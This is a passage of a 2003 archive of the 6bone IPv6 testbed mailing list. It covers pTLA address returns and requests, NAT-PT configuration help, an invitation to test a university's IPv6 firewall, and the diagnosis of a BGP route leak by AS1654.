>     policing adherence to the current rules. Membership in the 6Bone
>     Operations Group is mandatory for, and restricted to, sites connected
>     to the 6Bone.
>
>     The 6Bone Operations Group is currently defined by those members of
>     the existing 6Bone mailing list who represent sites participating in
>     the 6Bone. Therefore it is incumbent on relevant site contacts to
>     join the 6Bone mailing list. Instructions on how to join the list are
>     maintained on the 6Bone web site at < http://www.6bone.net>.
>
>=== end ===
>
>--
>Grzegorz Banasiak


From rh@concepts.nl Sun Jun  1 07:17:42 2003
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From: Richard Hartensveld <rh@concepts.nl>
To: fink@es.net
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Subject: [6bone] Return of 3ffe:4007::/32
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Hi,

After a successful testing period of 1 year and 1 month as of today, we would
like to return our pTLA, as we have now switched over to using ripe space.

We have deleted all of our objects from the 6bone database, some cruft was left
that was inserted by users of our tunnelserver which we leave to the
appriopriate persons to clean up.

We would like to thank the 6bone for giving us this testing oppertunity, it has
been very educative to us.



-- 
---------------------------------
Richard Hartensveld
Concepts ICT
St. Ignatiusstraat 265
4817 KK  Breda
tel. +31-76-5221555
fax. +31-76-5310531

From jordi.palet@consulintel.es Sun Jun  1 07:30:30 2003
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Reply-To: "JORDI PALET MARTINEZ" <jordi.palet@consulintel.es>
From: "JORDI PALET MARTINEZ" <jordi.palet@consulintel.es>
To: <6bone@ISI.EDU>
References: <XFMail.20030601181742.rh@concepts.nl>
Subject: Re: [6bone] Return of 3ffe:4007::/32
Date: Sun, 1 Jun 2003 10:30:49 -0400
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I'm not sure if this is within our scope, but I guess isn't a mayor problem.

Can we ask to all the people that is returning pTLAs, a brief information about their deployment/production plans (if any), timing,
and so on ?

Regards,
Jordi

----- Original Message ----- 
From: "Richard Hartensveld" <rh@concepts.nl>
To: <fink@es.net>
Cc: <6bone@ISI.EDU>
Sent: Sunday, June 01, 2003 6:17 PM
Subject: [6bone] Return of 3ffe:4007::/32


>
> Hi,
>
> After a successful testing period of 1 year and 1 month as of today, we would
> like to return our pTLA, as we have now switched over to using ripe space.
>
> We have deleted all of our objects from the 6bone database, some cruft was left
> that was inserted by users of our tunnelserver which we leave to the
> appriopriate persons to clean up.
>
> We would like to thank the 6bone for giving us this testing oppertunity, it has
> been very educative to us.
>
>
>
> -- 
> ---------------------------------
> Richard Hartensveld
> Concepts ICT
> St. Ignatiusstraat 265
> 4817 KK  Breda
> tel. +31-76-5221555
> fax. +31-76-5310531
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>

*****************************
Madrid 2003 Global IPv6 Summit
Presentations and videos on-line at:
http://www.ipv6-es.com



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Date: Sun, 01 Jun 2003 08:44:33 -0700
To: rh@concepts.nl
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Richard,

Thanks for the return of the pTLA and the kind words.

I will list your prefix as returned.


Thanks,

Bob

===
At 06:17 PM 6/1/2003 +0200, Richard Hartensveld wrote:

>Hi,
>
>After a successful testing period of 1 year and 1 month as of today, we would
>like to return our pTLA, as we have now switched over to using ripe space.
>
>We have deleted all of our objects from the 6bone database, some cruft was 
>left
>that was inserted by users of our tunnelserver which we leave to the
>appriopriate persons to clean up.
>
>We would like to thank the 6bone for giving us this testing oppertunity, 
>it has
>been very educative to us.
>
>
>
>--
>---------------------------------
>Richard Hartensveld
>Concepts ICT
>St. Ignatiusstraat 265
>4817 KK  Breda
>tel. +31-76-5221555
>fax. +31-76-5310531


From bob@thefinks.com Sun Jun  1 08:47:15 2003
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Date: Sun, 01 Jun 2003 08:45:49 -0700
To: "JORDI PALET MARTINEZ" <jordi.palet@consulintel.es>, <6bone@ISI.EDU>
From: Bob Fink <bob@thefinks.com>
Subject: Re: [6bone] Return of 3ffe:4007::/32
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At 10:30 AM 6/1/2003 -0400, JORDI PALET MARTINEZ wrote:
>I'm not sure if this is within our scope, but I guess isn't a mayor problem.
>
>Can we ask to all the people that is returning pTLAs, a brief information 
>about their deployment/production plans (if any), timing,
>and so on ?

If anyone wishes they can ask in private or on the list.

Bob 


From hank@att.net.il Sun Jun  1 23:31:58 2003
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Date: Mon, 02 Jun 2003 09:29:59 +0200
To: 6bone@mailman.isi.edu
From: Hank Nussbacher <hank@att.net.il>
Cc: geant-apm@dante.org.uk, dani Arbel <darbel@tx.technion.ac.il>
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Subject: [6bone] Checkpoint IPv6 firewall available for attacking :-)
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IUCC (AS378) has installed and made available a Checkpoint firewall (NG
FP4 Early Availability 2) that is working on IPv6. The firewall is
located at:

fw.ipv6.technion.ac.il -> 3ffe:2024:4100:1::2

and a web server located behind it:

www.ipv6.technion.ac.il -> 3ffe:2024:4100:2:2d0:b7ff:fe09:a5bb

This server runs a few more services (including ssh) which are blocked by
the FireWall.  We welcome attacks on this firewall and webserver.  We just
ask that if you succeed in breaking something, that you send the results to:

Hank Nussbacher - hank@mail.iucc.ac.il
Dani Arbel - darbel@tx.technion.ac.il

We are willing to share our experiences with this list if it is interesting 
to the list.

Regards,
Hank & Dani


From bob@thefinks.com Mon Jun  2 08:12:08 2003
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Subject: [6bone] Fwd: I-D ACTION:draft-fink-6bone-phaseout-02.txt
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6bone Folk,

The draft-fink-6bone-phaseout-02.txt just released should be the one to 
forward to the IESG for BCP.

There are no real changes, just cleanup and formatting.

If I don't hear anything (substantive) against forwarding in the next few 
days I will forward it at the end of the week.


Thanks,

Bob

===
>To: IETF-Announce: ;
>From: Internet-Drafts@ietf.org
>Reply-to: Internet-Drafts@ietf.org
>Subject: I-D ACTION:draft-fink-6bone-phaseout-02.txt
>Date: Mon, 02 Jun 2003 07:28:52 -0400
>Sender: owner-ietf-announce@ietf.org
>
>A New Internet-Draft is available from the on-line Internet-Drafts 
>directories.
>
>
>         Title           : 6bone (IPv6 Testing Address Allocation) Phaseout
>         Author(s)       : R. Fink, R. Hinden
>         Filename        : draft-fink-6bone-phaseout-02.txt
>         Pages           : 6
>         Date            : 2003-5-30
>
>The 6bone was established in 1996 by the IETF as an IPv6 Testbed
>network to enable various IPv6 testing as well as to assist in the
>transitioning of IPv6 into the Internet. It operates under the IPv6
>address allocation 3FFE::/16 from RFC 2471. As IPv6 is beginning its
>production deployment it is appropriate to plan for the phaseout of
>the 6bone. This note establishes a plan for a multi-year phaseout of
>the 6bone and its address allocation on the assumption that the IETF
>is the appropriate place to determine this.
>This document is intended to obsolete RFC 2471, 'IPv6 Testing Address
>Allocation', December, 1998.  RFC 2471 will become historic.
>
>A URL for this Internet-Draft is:
>http://www.ietf.org/internet-drafts/draft-fink-6bone-phaseout-02.txt
>
>To remove yourself from the IETF Announcement list, send a message to
>ietf-announce-request with the word unsubscribe in the body of the message.
>
>Internet-Drafts are also available by anonymous FTP. Login with the username
>"anonymous" and a password of your e-mail address. After logging in,
>type "cd internet-drafts" and then
>         "get draft-fink-6bone-phaseout-02.txt".
>
>A list of Internet-Drafts directories can be found in
>http://www.ietf.org/shadow.html
>or ftp://ftp.ietf.org/ietf/1shadow-sites.txt
>
>
>Internet-Drafts can also be obtained by e-mail.
>
>Send a message to:
>         mailserv@ietf.org.
>In the body type:
>         "FILE /internet-drafts/draft-fink-6bone-phaseout-02.txt".
>
>NOTE:   The mail server at ietf.org can return the document in
>         MIME-encoded form by using the "mpack" utility.  To use this
>         feature, insert the command "ENCODING mime" before the "FILE"
>         command.  To decode the response(s), you will need "munpack" or
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>
>
>Below is the data which will enable a MIME compliant mail reader
>implementation to automatically retrieve the ASCII version of the
>Internet-Draft.
>Content-Type: text/plain
>Content-ID:     <2003-5-30152047.I-D@ietf.org>
>
>ENCODING mime
>FILE /internet-drafts/draft-fink-6bone-phaseout-02.txt
>
><ftp://ftp.ietf.org/internet-drafts/draft-fink-6bone-phaseout-02.txt>


From bob@thefinks.com Wed Jun  4 19:14:15 2003
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Subject: [6bone] pTLA request by RETINA - review closes 30 June 2003
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6bone Folk,

RETINA has requested a pTLA allocation and I find their request fully 
compliant with RFC2772. The open review period for this will close 30 June 
2003 (longer than usual... see below). Please send your comments to me or 
the list.

   <www.ipv6.retina.ar>


I am doing a longer time period on this pTLA request as I will be leaving 
on a 2 week vacation on the 12th of June and won't be in email contact 
until 1 July. Also, I won't process any more pTLA requests (there aren't 
many :-) until after I return from vacation (this one was in just before my 
deadline).


Thanks,

Bob

===
Date: Mon, 19 May 2003 19:34:47 -0300
From: Daniel Bellomo <dbellomo@retina.ar>
Subject: RETINA: pTLA prefix requests
To: Bob Fink <bob@thefinks.com>

Dear Bob,

I am a member of the RETINA ipv6 project, RETINA would like to apply a 6bone
pTLA.

Thank you.
Daniel Bellomo

RFC 2772:

7. Guidelines for 6Bone pTLA sites

    1. The pTLA Applicant must have a minimum of three (3) months
       qualifying experience as a 6Bone end-site or pNLA transit.  During
       the entire qualifying period the Applicant must be operationally
       providing the following:

<=================================================================>
We have been connected to the 6BONE since April 2002
<=================================================================>

       a. Fully maintained, up to date, 6Bone Registry entries for their
          ipv6-site inet6num, mntner, and person objects, including each
          tunnel that the Applicant has.

<=================================================================>
$ whois -h whois.6bone.net RETINA
...
ipv6-site:    RETINA
origin:       AS3597
descr:        Red TeleInformatica Academica
country:      AR
prefix:       3FFE:8070:1019::/48
application:  ping 6bone.ipv6.retina.ar
<=================================================================>

       b. Fully maintained, and reliable, BGP4+ peering and connectivity
          between the Applicant's boundary router and the appropriate
          connection point into the 6Bone. This router must be IPv6
          pingable. This criteria is judged by members of the 6Bone
          Operations Group at the time of the Applicant's pTLA request.

<=================================================================>
tunnel:       IPv6 in IPv4 6bone.retina.ar -> unam-ipv6-1.ipv6.unam.mx UNAM
BGP4+
tunnel:       IPv6 in IPv4 6bone.retina.ar -> 146.83.248.2 UACH BGP4+
tunnel:       IPv6 in IPv4 6bone.retina.ar -> 6bone-gw.rediris.es REDIRIS
BGP4+
tunnel:       IPv6 in IPv4 6bone.retina.ar -> ipv6.rau.edu.uy RAU STATIC
tunnel:       IPv6 in IPv4 6bone.retina.ar -> gwipv6.mty.itesm.mx ITESM BGP4+
<=================================================================>

       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
          entries for the Applicant's router(s) and at least one host
          system.

<=================================================================>
Our DNS server:
ns1.ipv6.retina.ar.	3ffe:8070:1019:200::10
<=================================================================>

       d. A fully maintained, and reliable, IPv6-accessible system
          providing, at a mimimum, one or more web pages, describing the
          Applicant's IPv6 services.  This server must be IPv6 pingable.

<=================================================================>
Our WEB server:

www.ipv6.retina.ar.	3ffe:8070:1019:200::5
<=================================================================>

    2. The pTLA Applicant MUST have the ability and intent to provide
       "production-quality" 6Bone backbone service. Applicants must
       provide a statement and information in support of this claim.
       This MUST include the following:

       a. A support staff of two persons minimum, three preferable, with
          person attributes registered for each in the ipv6-site object
          for the pTLA applicant.


<=================================================================>
4 persons:
Guillermo Cicileo 	gcicileo@retina.ar
Mariela Rocha		mrocha@retina.ar
Santiago Aggio		slaggio@criba.edu.ar
Daniel Bellomo		dbellomo@retina.ar
<=================================================================>

       b. A common mailbox for support contact purposes that all support
          staff have acess to, pointed to with a notify attribute in the
          ipv6-site object for the pTLA Applicant.

<=================================================================>
notify: ipv6@retina.ar
<=================================================================>

    3. The pTLA Applicant MUST have a potential "user community" that
       would be served by its becoming a pTLA, e.g., the Applicant is a
       major provider of Internet service in a region, country, or focus
       of interest. Applicant must provide a statement and information in
       support this claim.

<=================================================================>
RETINA  (REd TeleINformatica Academica) is a project launched
by Asociacion Civil Ciencia Hoy, (a non profit NGO) in 1990 in
order to assure data communication for the  Academic and Research
area in Argentina, among themselves and with the international
community.
The web page is www.retina.ar
<=================================================================>

    4. The pTLA Applicant MUST commit to abide by the current 6Bone
       operational rules and policies as they exist at time of its
       application, and agree to abide by future 6Bone backbone
       operational rules and policies as they evolve by consensus of the
       6Bone backbone and user community.

<=================================================================>
We agree to all current and future operational rules and policies.
<=================================================================>

    When an Applicant seeks to receive a pTLA allocation, it will apply
    to the 6Bone Operations Group (see section 8 below) by providing to
    the Group information in support of its claims that it meets the
    criteria above.

8. 6Bone Operations Group

    The 6Bone Operations Group is the group in charge of monitoring and
    policing adherence to the current rules. Membership in the 6Bone
    Operations Group is mandatory for, and restricted to, sites connected
    to the 6Bone.

    The 6Bone Operations Group is currently defined by those members of
    the existing 6Bone mailing list who represent sites participating in
    the 6Bone. Therefore it is incumbent on relevant site contacts to
    join the 6Bone mailing list. Instructions on how to join the list are
    maintained on the 6Bone web site at < http://www.6bone.net>.


Thank you!
Daniel Bellomo

----- End forwarded message -----


From bob@thefinks.com Thu Jun  5 07:22:55 2003
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Date: Thu, 05 Jun 2003 07:21:05 -0700
To: 6BONE List <6bone@mailman.isi.edu>
From: Bob Fink <bob@thefinks.com>
Cc: Piotr Zurawski <P.Zurawski@crowley.pl>
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Subject: [6bone] pTLA request by PL-CDP6 - review closes 30 June 2003
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6bone Folk,

PL-CDP6 has requested a pTLA allocation and I find their request fully 
compliant with RFC2772. The open review period for this will close 30 June 
2003 (longer than usual... see below). Please send your comments to me or 
the list.

   <min.waw.cdp.pl>


I am doing a longer time period on this pTLA request as I will be leaving 
on a 2 week vacation on the 12th of June and won't be in email contact 
until 1 July. I won't process any more pTLA requests until after I return 
from vacation.


Thanks,

Bob

===
>From: =?iso-8859-2?Q?Piotr_=AFurawski?= <P.Zurawski@crowley.pl>
>To: "Bob Fink" <fink@es.net>
>Subject: pTLA request for Crowley Data Poland
>Date: Thu, 5 Jun 2003 12:32:43 +0200
>
>Dear Bob,
>
>I'd like to request a test pTLA assignment on the 6bone for Crowley Data 
>Poland Ltd. , Telecom solutions provider.
>
>
> >1. The pTLA Applicant must have a minimum of three (3) months
> >      qualifying experience as a 6Bone end-site or pNLA transit.
>During
> >      the entire qualifying period the Applicant must be operationally
> >      providing the following:
>
>CDP6 works since 01/09/2002 as a end-site. Since 01/10/2002 it works as 
>pNLA site.
>
>
> >      a. Fully maintained, up to date, 6Bone Registry entries for their
> >         ipv6-site inet6num, mntner, and person objects, including each
> >         tunnel that the Applicant has.
>
>Please check following entries:
>ipv6-site: PL-CDP6
>inet6num: CROWLEY6
>mnter: CROWLEY6-MNT
>and the persons:
>PZ1-6BONE
>GZ1-6BONE
>PM7-6BONE
>AC8-6BONE
>GS22-6BONE
>
> >      b. Fully maintained, and reliable, BGP4+ peering and connectivity
> >         between the Applicant's boundary router and the appropriate
> >         connection point into the 6Bone. This router must be IPv6
> >         pingable. This criteria is judged by members of the 6Bone
> >         Operations Group at the time of the Applicant's pTLA request.
>
>Connectivity is provided through ICM-PL (first polish pTLA with large
>ammount of tunnels set up), ICP (Internet Cable Provider) and POZMAN -
>supercomputing and networking center in Poznan (which is a part of Major
>polish educational backbone - POL34).
>As in whois, you might ping and traceroute (both in IPv4 and IPv6
>address family) min.waw.cdp.pl.
>
> >      c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
> >         entries for the Applicant's router(s) and at least one host
> >         system.
>
>Please try following hosts:
>min.waw.cdp.pl , min6.waw.cdp.pl
>hathor.waw.cdp.pl , hathor6.waw.cdp.pl
>isis.waw.cdp.pl , isis6.waw.cdp.pl
>osiris.waw.cdp.pl , osiris6.waw.cdp.pl
>reverse zone 8.1.0.8.e.f.f.3.ip6.int. is being done for both hosts and
>the links to the peers.
>
> >      d. A fully maintained, and reliable, IPv6-accessible system
> >         providing, at a mimimum, one or more web pages, describing the
> >         Applicant's IPv6 services.  This server must be IPv6 pingable.
>
>Please try http://min.waw.cdp.pl/  (accessible both via IPv4 and IPv6).
>
> >   2. The pTLA Applicant MUST have the ability and intent to provide
> >      "production-quality" 6Bone backbone service. Applicants must
> >      provide a statement and information in support of this claim.
> >      This MUST include the following:
> >      a. A support staff of two persons minimum, three preferable, with
> >         person attributes registered for each in the ipv6-site object
> >         for the pTLA applicant.
>
>As above, see mnter and person objects.
>
> >      b. A common mailbox for support contact purposes that all support
> >         staff have acess to, pointed to with a notify attribute in the
> >         ipv6-site object for the pTLA Applicant.
>
>That's 6bone@crowley.pl , as mentioned in whois records. We're considering 
>running trouble-ticketing system.
>
> >   3. The pTLA Applicant MUST have a potential "user community" that
> >      would be served by its becoming a pTLA, e.g., the Applicant is a
> >      major provider of Internet service in a region, country, or focus
> >      of interest. Applicant must provide a statement and information
>in
> >      support this claim.
>
>Crowley Data Poland is a major Polish Broadband Services provider with
>over 1500 customers served. For more details, please see
>http://www.crowley.pl/eng/info.html
>
> >   4. The pTLA Applicant MUST commit to abide by the current 6Bone
> >      operational rules and policies as they exist at time of its
> >      application, and agree to abide by future 6Bone backbone
> >      operational rules and policies as they evolve by consensus of the
> >      6Bone backbone and user community.
>
>We commit any current and any future 6Bone operational rules and policies.
>
>
> >   When an Applicant seeks to receive a pTLA allocation, it will apply
> >   to the 6Bone Operations Group (see section 8 below) by providing to
> >   the Group information in support of its claims that it meets the
> >   criteria above.
>
>Best Regards,
>
>Piotr


From jwenzel@netline.lu Thu Jun  5 07:47:49 2003
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Subject: [6bone] Cisco, NAT-PT : establish connection from IPv6 to IPv4
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Hello,

I'm testing NAT-PT on a 7200 Cisco router, and I would like to establish
connection between the IPv6 and the IPv4 networks.

I've mapped the IPv6 address of my PC, which is on an IPv6 only network,
to an IPv4 address. So, my IPv6 PC is accessible by any IPv4 PC.
If I ping it, I can see the encapsulation of the packet coming from the
IPv4 PC, it's like PREFIX::IPv4_address_in_hexadecimal_form. The
translation table of the router is updated. Then, the IPv6 PC can ping
the IPv4 PC, because of this update.

But now I want to ping another IPv4 PC, so I type : ping6
PREFIX::another_IPv4_address. The router receives IPv6 packets, but drop
them (I saw this with debug ipv6 packet). On the url join below, it
seems to be normal, because translation doesn't exists for the incoming
packet.

How can I process to access any IPv4 adress ? I must create a mapping ?
It doesn't seem to be practical.
Why from IPv6 to IPv4 isn't the IPv6 header (like PREFIX::IPv4_address)
automatically translated to an IPv4 header, as it is done from IPv4 to
IPv6 ?

Thanks.

This the url where I've found some informations :

http://www.cisco.com/en/US/products/sw/iosswrel/ps1835/products_data_she
et09186a008011ff51.html

...

5 NAT-PT translations and Application Level Gateway
5.1 IP header translation
5.1.1 From IPv6 to IPv4
The Protocol Translator translates the IPv6 header to an IPv4 header
under the following conditions:

IPv6 packet is received with an IPv4-mapped IPv6 address (i.e.
pre-configured /96 prefix) 
Translation exists for the incoming packet 

...

5.1.2 From IPv4 to IPv6
When NAT-PT receives a packet addressed to a destination that lies
outside of the attached IPv4 realm, the IPv4 header is translated to an
IPv6 header.

...

From joao.cabral@vodafone.com Thu Jun  5 09:20:49 2003
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To: "'Jerome Wenzel'" <jwenzel@netline.lu>, 6bone@mailman.isi.edu
Subject: RE: [6bone] Cisco, NAT-PT : establish connection from IPv6 to IPv
	4
Date: Thu, 5 Jun 2003 17:17:41 +0100 
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Hi,

You configure an IPv4 pool for your IPv6 addresses to be translated into.

You need one v4 address per NAT-PT session/V6 client (until overload is 
supported).

Any traffic that you originate from your v6 client to a v4 address will
reach its destination Nated. The problem is when the reply reaches the
NAT-PT router. The router doesn't know which IPv6 address it should map the
v4 reply source address into. 

AFAIK, there are two ways to overcome this:

1) MAP each individual v4 address you want to access, to a v6 address with
v4v6 

2) Force the use of DNS-ALG:

	On V6 client configure v6 DNS server with an v4 mapped address. 
	
	I.E. 

V6 client <-> DNS is PREFIX::v4 <-NAT-PT-> V4 network <-> v4 DNS server

And map statically with v6v4 the v4 DNS server address into a v6 address
from the prefix. 

This will make the v6 DNS request reach the v4 DNS server after being nated.
The v4 reply is then back nated into v6 because you configure static
translation for this address. And becase the router sees the DNS request
passing trough it, also intercepts it and:

	a) Opens a NAT mapping for the v4 address you queried
	b) Converts the v4 DNS reply into V6 AAAA format to send back to you

And then you can access any v4 site as long as you use its DNS name and use
the DNS-ALG scheme above.

You could also try to use a V6 only DNS server (i.e. not require the v6v4
NAT DNS server) but I don't know if this will activate DNS-ALG. Perhaps it
might do. This would be 3) i.e. DNS-ALG with a native DNS server.

Aparently there's a 4) which is, if your first packet comes from the v4
world then the required maping is kept on the table as you describe in your
email.

AFAIK there isn't another way. If you discover one please let me know as I'd
also be interested in knowing how to do it. 

It's a shame the router can't simply map any V4 packet sources to v6 sources
on a given prefix but I suppose this would break all incoming v4 packets and
hence, routing protocols, tunnels, 6PE or whatever you wanted to use there
(v4 wise).

Hope this helps,
Regards,
Joao.







-----Original Message-----
From: Jerome Wenzel [mailto:jwenzel@netline.lu] 
Sent: 05 June 2003 15:46
To: 6bone@mailman.isi.edu
Subject: [6bone] Cisco, NAT-PT : establish connection from IPv6 to IPv4

Hello,

I'm testing NAT-PT on a 7200 Cisco router, and I would like to establish
connection between the IPv6 and the IPv4 networks.

I've mapped the IPv6 address of my PC, which is on an IPv6 only network,
to an IPv4 address. So, my IPv6 PC is accessible by any IPv4 PC.
If I ping it, I can see the encapsulation of the packet coming from the
IPv4 PC, it's like PREFIX::IPv4_address_in_hexadecimal_form. The
translation table of the router is updated. Then, the IPv6 PC can ping
the IPv4 PC, because of this update.

But now I want to ping another IPv4 PC, so I type : ping6
PREFIX::another_IPv4_address. The router receives IPv6 packets, but drop
them (I saw this with debug ipv6 packet). On the url join below, it
seems to be normal, because translation doesn't exists for the incoming
packet.

How can I process to access any IPv4 adress ? I must create a mapping ?
It doesn't seem to be practical.
Why from IPv6 to IPv4 isn't the IPv6 header (like PREFIX::IPv4_address)
automatically translated to an IPv4 header, as it is done from IPv4 to
IPv6 ?

Thanks.

This the url where I've found some informations :

http://www.cisco.com/en/US/products/sw/iosswrel/ps1835/products_data_she
et09186a008011ff51.html

...

5 NAT-PT translations and Application Level Gateway
5.1 IP header translation
5.1.1 From IPv6 to IPv4
The Protocol Translator translates the IPv6 header to an IPv4 header
under the following conditions:

IPv6 packet is received with an IPv4-mapped IPv6 address (i.e.
pre-configured /96 prefix) 
Translation exists for the incoming packet 

...

5.1.2 From IPv4 to IPv6
When NAT-PT receives a packet addressed to a destination that lies
outside of the attached IPv4 realm, the IPv4 header is translated to an
IPv6 header.

...
_______________________________________________
6bone mailing list
6bone@mailman.isi.edu
http://mailman.isi.edu/mailman/listinfo/6bone

From nicolas.deffayet@ndsoftware.net Sun Jun  8 12:17:29 2003
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From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
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Subject: [6bone] AS1654/SICS announce 178 prefixes !
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Hello,

AS1654/SICS announce 178 prefixes:

cr1.par1.fr.ip.ndsoftware.net> sh ipv6 bgp regexp _1654_
BGP table version is 0, local router ID is 80.245.47.81
Status codes: s suppressed, d damped, h history, * valid, > best, i -
internal
Origin codes: i - IGP, e - EGP, ? - incomplete

   Network          Next Hop            Metric LocPrf Weight Path
*  2001:210::/35    2001:748:200:a0::6
                                                  100      0 5430 13285
6939 6939 3320 9112 2847 1654 i
*>                  2001:7f8:2:c01d::2
                                                  100      0 1752 6830
3320 9112 2847 1654 i
*> 2001:230::/32    2001:7f8:2:c01d::2
                                                  100      0 1752 6830
3320 9112 2847 1654 i
*                   2001:748:200:a0::6
                                                  100      0 5430 13285
6939 6939 3320 9112 2847 1654 i
*> 2001:280::/32    2001:7f8:2:c01d::2
                                                  100      0 1752 6830
3320 9112 2847 1654 i
*                   2001:748:200:a0::6
                                                  100      0 5430 13285
6939 6939 3320 9112 2847 1654 i
*> 2001:2d8::/32    2001:7f8:2:c01d::2
                                                  100      0 1752 6830
3320 9112 2847 1654 i
*                   2001:748:200:a0::6
                                                  100      0 5430 13285
6939 6939 3320 9112 2847 1654 i
*> 2001:300::/32    2001:7f8:2:c01d::2
                                                  100      0 1752 6830
3320 9112 2847 1654 i
*                   2001:748:200:a0::6
                                                  100      0 5430 13285
6939 6939 3320 9112 2847 1654 i
*> 2001:348::/32    2001:7f8:2:c01d::2
                                                  100      0 1752 6830
3320 9112 2847 1654 i
*                   2001:748:200:a0::6
                                                  100      0 5430 13285
6939 6939 3320 9112 2847 1654 i
<cut>


Total number of prefixes 178
cr1.par1.fr.ip.ndsoftware.net>


aut-num:      AS1654
as-name:      SKOGEN
descr:        Skogen Network

ipv6-site:    SICS
origin:       AS1654
descr:        Swedish Institute of Computer Science
              Kista, SWEDEN


It's not the first time that AS1654 do some trouble in the world routing
table...
http://mailman.isi.edu/pipermail/6bone/2002-August/006027.html


Note: Message resent with not the full BGP table because the message with the full BGP table is not accepted by the 6bone mailing-list
(Message body is too big: 49897 bytes but there's a limit of 40 KB)

-- 
Nicolas DEFFAYET, NDSoftware
NDSoftware IP Network: http://www.ip.ndsoftware.net/
FNIX6 (French National Internet Exchange IPv6): http://www.fnix6.net/
EuroNOG: http://www.euronog.org/


From gert@Space.Net Sun Jun  8 14:11:37 2003
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From: Gert Doering <gert@space.net>
To: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] AS1654/SICS announce 178 prefixes !
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Hi,

On Sun, Jun 08, 2003 at 09:17:27PM +0200, Nicolas DEFFAYET wrote:
>    Network          Next Hop            Metric LocPrf Weight Path
> *  2001:210::/35    2001:748:200:a0::6
>                                                   100      0 5430 13285
> 6939 6939 3320 9112 2847 1654 i

Seconded, I see that as well - 1654 is originating half of the prefixes
as their own.  BGP bug or human goof...

The interesting part is that 1654 does have a number of links, but these
prefixes only go out via 2847 1654.  Someone from 2847 around who can 
figure out what's happening and make it stop?

Does anybody know the background of this?  Any peers of 1654 around?

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  55295  (54837)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From lalle@snaga.sics.se Mon Jun  9 07:00:48 2003
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To: Gert Doering <gert@space.net>
Cc: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>, 6bone@mailman.isi.edu,
   Raimundas Tuminauskas <raimis@litnet.lt>,
   Linas Gudonavicius <linas@litnet.lt>, Markus Paluschek <warex@vsh.pl>,
   ipv6@sics.se
Subject: Re: [6bone] AS1654/SICS announce 178 prefixes !
References: <1055099846.25189.58.camel@w1-2-aub.fr.corp.ndsoftware.com>
	<20030608231134.P67740@Space.Net>
From: Lars Albertsson <lalle@sics.se>
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Gert Doering <gert@space.net> writes:

> Hi,
> 
> On Sun, Jun 08, 2003 at 09:17:27PM +0200, Nicolas DEFFAYET wrote:
> >    Network          Next Hop            Metric LocPrf Weight Path
> > *  2001:210::/35    2001:748:200:a0::6
> >                                                   100      0 5430 13285
> > 6939 6939 3320 9112 2847 1654 i
> 
> Seconded, I see that as well - 1654 is originating half of the prefixes
> as their own.  BGP bug or human goof...
> 
> The interesting part is that 1654 does have a number of links, but these
> prefixes only go out via 2847 1654.  Someone from 2847 around who can 
> figure out what's happening and make it stop?
> 
> Does anybody know the background of this?  Any peers of 1654 around?

I am sorry if we are causing problems again. I try to keep a very
simple configuration in order to avoid routing problems, and I don't
understand the cause for this. AS2847 (Litnet) is one of our
delegations. We announce the full IPv6 routing table, including the
prefixes mentioned by Nicolas, to our downstream sites, but prefixes
other than ours are of course not meant to be announced with our AS as
last hop, and I don't understand why they end up that way. And I
expect the sites downstream from us not to announce prefixes outside
their address space to other sites.

I looked through our configuration files and bgpd log, and couldn't
see anything suspicious. I restarted zebra and monitored the traffic
to litnet's router with tcpdump, and it seems we are announcing
correct AS paths to them:

15:22:38.755586 alt.sics.se > gw.ipv6.lt: alt-litnet.ipv6.sics.se.3895 > 3ffe:20
0:1:e::2.bgp: P 8029:8588(559) ack 29731 win 355: BGP [|BGP] (UPDATE: (Path attr
ibutes: (ORIGIN[T] IGP)
                (AS_PATH[T] 1654 6342 2549)
                (MP_REACH_NLRI[O] IPv6 Unicast, nexthop alt-litnet.ipv6.sics.se,
 NLRI 2001:b18::/32)))
        (UPDATE: (Path attributes: (ORIGIN[T] IGP)
                (AS_PATH[T] 1654 3274 16023)
                (MP_REACH_NLRI[O] IPv6 Unicast, nexthop alt-litnet.ipv6.sics.se,
 NLRI 2001:b30::/32)))
        (UPDATE: (Path attributes: (ORIGIN[T] IGP)
                (AS_PATH[T] 1654 3274 790 6667)
                (MP_REACH_NLRI[O] IPv6 Unicast, nexthop alt-litnet.ipv6.sics.se,
 NLRI yggdrasil-gw.ipv6.sevenlevels.net/32)))
        (UPDATE: (Path attributes: (ORIGIN[T] IGP)
                (AS_PATH[T] 1654 6342 6435 13944 25396)
                (MP_REACH_NLRI[O] IPv6 Unicast, nexthop alt-litnet.ipv6.sics.se,
 NLRI 2001:b70::/32)))
        (UPDATE: (Path attributes: (ORIGIN[T] IGP)
                (AS_PATH[T] 1654 6342 2549 3320)
                (MP_REACH_NLRI[O] IPv6 Unicast, nexthop alt-litnet.ipv6.sics.se,
 NLRI 2001:bb8::/32)))
        (UPDATE: (Path attributes: (ORIGIN[T] IGP)
                (AS_PATH[T] 1654 6342)
                (MP_REACH_NLRI[O] IPv6 Unicast, nexthop alt-litnet.ipv6.sics.se,
 NLRI 2001:c00::/32)))
        (UPDATE: (Path attributes: (ORIGIN[T] IGP)
                (AS_PATH[T] 1654 6342 109)
                (MP_REACH_NLRI[O] IPv6 Unicast, nexthop alt-litnet.ipv6.sics.se,
NLRI 2001:c08::/32))) [hlim 1] (len 579) (ttl 45, id 53505)


I am clueless on what could be wrong, and where. If anyone has any
ideas on something I can look for, feel free to speak up. If you want,
you can also look at the state and configuration for our router at
http://www.ipv6.sics.se/6bone_config/.

The last Merit routing report
(http://www.merit.edu/mail.archives/html/6bone-routing-report/msg00100.html)
claims that weird prefixes from us are leaking through AS64734 as
well. It is owned by VSH, which is one of our NLAs. I am therefore
CC:ing their contact person.

Regards,

Lalle

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Cc: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>, 6bone@mailman.isi.edu,
   Raimundas Tuminauskas <raimis@litnet.lt>,
   Linas Gudonavicius <linas@litnet.lt>, Markus Paluschek <warex@vsh.pl>,
